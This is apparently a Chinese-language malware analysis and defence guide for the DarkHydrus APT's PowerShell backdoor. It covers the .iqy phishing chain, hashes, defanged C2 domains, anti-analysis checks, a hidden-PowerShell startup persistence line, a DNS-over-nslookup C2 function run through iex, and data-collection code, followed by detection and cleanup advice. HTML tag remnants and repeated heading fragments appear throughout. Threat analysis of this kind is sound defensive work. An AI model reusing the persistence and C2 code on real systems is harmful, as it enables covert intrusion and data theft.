DarkHydrus PowerShell恶意软件深入分析与防御指南<\/h1>

一、概述<\/h2>
DarkHydrus是一个针对中东组织的APT黑客组织，使用高度定制的PowerShell恶意软件进行攻击。本文档将详细分析该恶意软件的工作原理、技术细节及防御方法。<\/p>

二、攻击链分析<\/h2>

1. 初始感染阶段<\/h3>

传播方式<\/strong>：鱼叉式钓鱼邮件包含受密码保护的RAR附件<\/li>
文件类型<\/strong>：RAR内包含.iqy(Internet查询文件)<\/li>

MD5哈希<\/strong>：377cfd5b9aad2473d1659a5dbad01d90<\/li> <\/ul>
2. 第一阶段载荷<\/h3>

执行机制<\/strong>：Excel默认打开.iqy文件，从URL获取内容<\/li>
URL<\/strong>：hxxp:\/\/micrrosoft.net\/releasenotes.txt<\/li>
MD5哈希<\/strong>：bd764192e951b5afd56870d2084bccfd<\/li>
行为<\/strong>：执行PowerShell命令下载第二阶段载荷<\/li> <\/ul>
3. 第二阶段载荷<\/h3>

下载位置<\/strong>：hxxp:\/\/micrrosoft.net\/winupdate.ps1<\/li>
MD5哈希<\/strong>：953a753dd4944c9a2b9876b090bf7c00<\/li>
特点<\/strong>：使用压缩和Base64编码的PowerShell脚本<\/li> <\/ul>
三、技术细节分析<\/h2>
1. 反分析技术<\/h3>
恶意软件实现了多层次的反分析检测：<\/p>
虚拟机检测<\/h4>
# 检查SMBIOSBIOSVersion是否包含以下关键词<\/span> <\/span><\/span>"VBOX"<\/span>, "bochs"<\/span>, "qemu"<\/span>, "VirtualBox"<\/span>, "VM"<\/span> <\/span><\/span> <\/span><\/span># 检查Manufacturer是否为XEN<\/span> <\/span><\/span>Get-WmiObject -Query "Select Manufacturer from Win32_BIOS"<\/span> <\/span><\/span><\/code><\/pre>系统资源检测<\/h4> # 检查物理内存是否小于2.9GB<\/span> <\/span><\/span>Get-WmiObject -Query "Select TotalPhysicalMemory from Win32_ComputerSystem"<\/span> <\/span><\/span> <\/span><\/span># 检查处理器核心数是否大于1<\/span> <\/span><\/span>(Get-WmiObject Win32_Processor).NumberOfCores <\/span><\/span><\/code><\/pre>分析工具检测<\/h4> 检查以下进程是否运行：<\/p> Wireshark相关进程<\/li> Sysinternals工具相关进程<\/li> <\/ul> 绕过方法<\/h4> 使用MOF文件修改WMI信息：<\/li> <\/ol> #pragma namespace("\\\\.\\root\\cimv2") instance of Win32_BIOS { Manufacturer = "Sony"; SMBIOSBIOSVersion = "Legit_PC"; }; <\/code><\/pre> 使用命令：mofcomp.exe bios.mof<\/code><\/p> 分配足够资源：<\/li> <\/ol> 内存 > 2.9GB<\/li> CPU核心数 > 1<\/li> <\/ul> 避免运行分析工具<\/li> <\/ol> 2. 持久化机制<\/h3> # 创建持久化文件<\/span> <\/span><\/span>"%APPDATA%\OneDrive.bat"<\/span> 内容：<\/span> <\/span><\/span>powershell.exe -WindowStyle Hidden -exec bypass -File<\/span> "%APPDATA%\OneDrive.ps1"<\/span> <\/span><\/span> <\/span><\/span># 创建启动项快捷方式<\/span> <\/span><\/span>"Startup\OneDrive.lnk"<\/span> →<\/span> "%APPDATA%\OneDrive.bat"<\/span> <\/span><\/span> <\/span><\/span># 针对Windows 7的特殊处理<\/span> <\/span><\/span><\/code><\/pre>3. 通信机制<\/h3> 使用DNS作为C2通信渠道：<\/p> 查询类型<\/h4> $queryTypes = "A"<\/span>, "AAAA"<\/span>, "AC"<\/span>, "CNAME"<\/span>, "MX"<\/span>, "TXT"<\/span>, "SRV"<\/span>, "SOA"<\/span> <\/span><\/span><\/code><\/pre>通信函数<\/h4> function<\/span> query { <\/span><\/span> param<\/span>($query, $type, $test, $change_mode) <\/span><\/span> # 使用nslookup.exe进行DNS查询<\/span> <\/span><\/span> $parameters = "-querytype=$type $query.$domain $server"<\/span> <\/span><\/span> iex "nslookup $parameters"<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre>轮询机制<\/h4> function<\/span> roundRobin { <\/span><\/span> param<\/span>($list, $current) <\/span><\/span> # 轮换使用不同的DNS查询类型和域名<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre>4. 数据收集<\/h3> function<\/span> myInfo { <\/span><\/span> # 收集系统信息<\/span> <\/span><\/span> $info = @( <\/span><\/span> (Get-NetIPAddress).IPAddress, <\/span><\/span> $env:USERDOMAIN, <\/span><\/span> $env:USERNAME, <\/span><\/span> $env:COMPUTERNAME, <\/span><\/span> ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]<\/span>::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]<\/span> "Administrator"<\/span>) <\/span><\/span> ) <\/span><\/span> # 添加配置信息<\/span> <\/span><\/span> $info += $Global:hasGarbage, $Global:hasstartup, $Global:hybdrid, $Global:sleep, $Global:jitter <\/span><\/span> return<\/span> $info -join "|"<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre>5. 命令与控制功能<\/h3> 支持的命令列表：<\/p> $fileDownload<\/code> - 文件下载<\/li> $importModule<\/code> - 导入模块<\/li> $fileUpload<\/code> - 文件上传<\/li> $screenshot<\/code> - 屏幕截图<\/li> $command<\/code> - 执行任意命令<\/li> slp:\d+<\/code> - 设置通信间隔<\/li> slpx:\d+<\/code> - 设置DNS请求间隔<\/li> testmode<\/code> - 测试连接<\/li> showconfig<\/code> - 显示配置<\/li> <\/ul> 四、防御措施<\/h2> 1. 检测指标(IOC)<\/h3> 文件哈希<\/strong>：<\/p> IQY文件: 377cfd5b9aad2473d1659a5dbad01d90<\/li> 第二阶段: bd764192e951b5afd56870d2084bccfd<\/li> 第三阶段: 953a753dd4944c9a2b9876b090bf7c00<\/li> <\/ul> <\/li> C2域名<\/strong>：<\/p> anyconnect[.]stream<\/li> bigip[.]stream<\/li> fortiweb[.]download<\/li> kaspersky[.]science<\/li> microtik[.]stream<\/li> owa365[.]bid<\/li> symanteclive[.]download<\/li> windowsdefender[.]win<\/li> <\/ul> <\/li> <\/ul> 2. 防护建议<\/h3> 邮件安全<\/strong>：<\/p> 阻止带有.iqy附件的邮件<\/li> 教育用户识别鱼叉式钓鱼攻击<\/li> <\/ul> <\/li> 系统加固<\/strong>：<\/p> 禁用Office宏执行<\/li> 限制PowerShell执行策略<\/li> 监控%APPDATA%和启动目录的异常文件<\/li> <\/ul> <\/li> 网络防护<\/strong>：<\/p> 阻止已知C2域名<\/li> 监控异常DNS查询模式<\/li> 限制出站DNS查询<\/li> <\/ul> <\/li> 终端防护<\/strong>：<\/p> 部署EDR解决方案监控PowerShell活动<\/li> 启用脚本日志记录和审计<\/li> <\/ul> <\/li> <\/ol> 五、清除方法<\/h2> 删除持久化文件：<\/p> %APPDATA%\OneDrive.bat<\/code><\/li> %APPDATA%\OneDrive.ps1<\/code><\/li> 启动目录中的OneDrive.lnk<\/code><\/li> <\/ul> <\/li> 检查并终止相关进程：<\/p> PowerShell进程<\/li> 可疑的cmd.exe进程<\/li> <\/ul> <\/li> 重置WMI信息（如果被修改）<\/p> <\/li> <\/ol> 六、总结<\/h2> DarkHydrus使用的PowerShell恶意软件展示了高级的逃避技术和灵活的C2通信机制。通过了解其工作原理和技术细节，安全团队可以更好地检测和防御此类威胁。关键点包括：<\/p> 多阶段载荷传递<\/li> 全面的反分析技术<\/li> 基于DNS的隐蔽通信<\/li> 模块化的后门功能<\/li> <\/ul> 持续监控PowerShell活动和分析网络流量中的异常DNS模式是检测此类威胁的有效方法。<\/p>

DarkHydrus PowerShell恶意软件深入分析与防御指南<\/h1>

一、概述<\/h2> DarkHydrus是一个针对中东组织的APT黑客组织，使用高度定制的PowerShell恶意软件进行攻击。本文档将详细分析该恶意软件的工作原理、技术细节及防御方法。<\/p>

二、攻击链分析<\/h2>

三、技术细节分析<\/h2>

1. 反分析技术<\/h3> 恶意软件实现了多层次的反分析检测：<\/p>

3. 通信机制<\/h3> 使用DNS作为C2通信渠道：<\/p>

四、防御措施<\/h2>

一、概述<\/h2>
DarkHydrus是一个针对中东组织的APT黑客组织，使用高度定制的PowerShell恶意软件进行攻击。本文档将详细分析该恶意软件的工作原理、技术细节及防御方法。<\/p>

1. 反分析技术<\/h3>
恶意软件实现了多层次的反分析检测：<\/p>

3. 通信机制<\/h3>
使用DNS作为C2通信渠道：<\/p>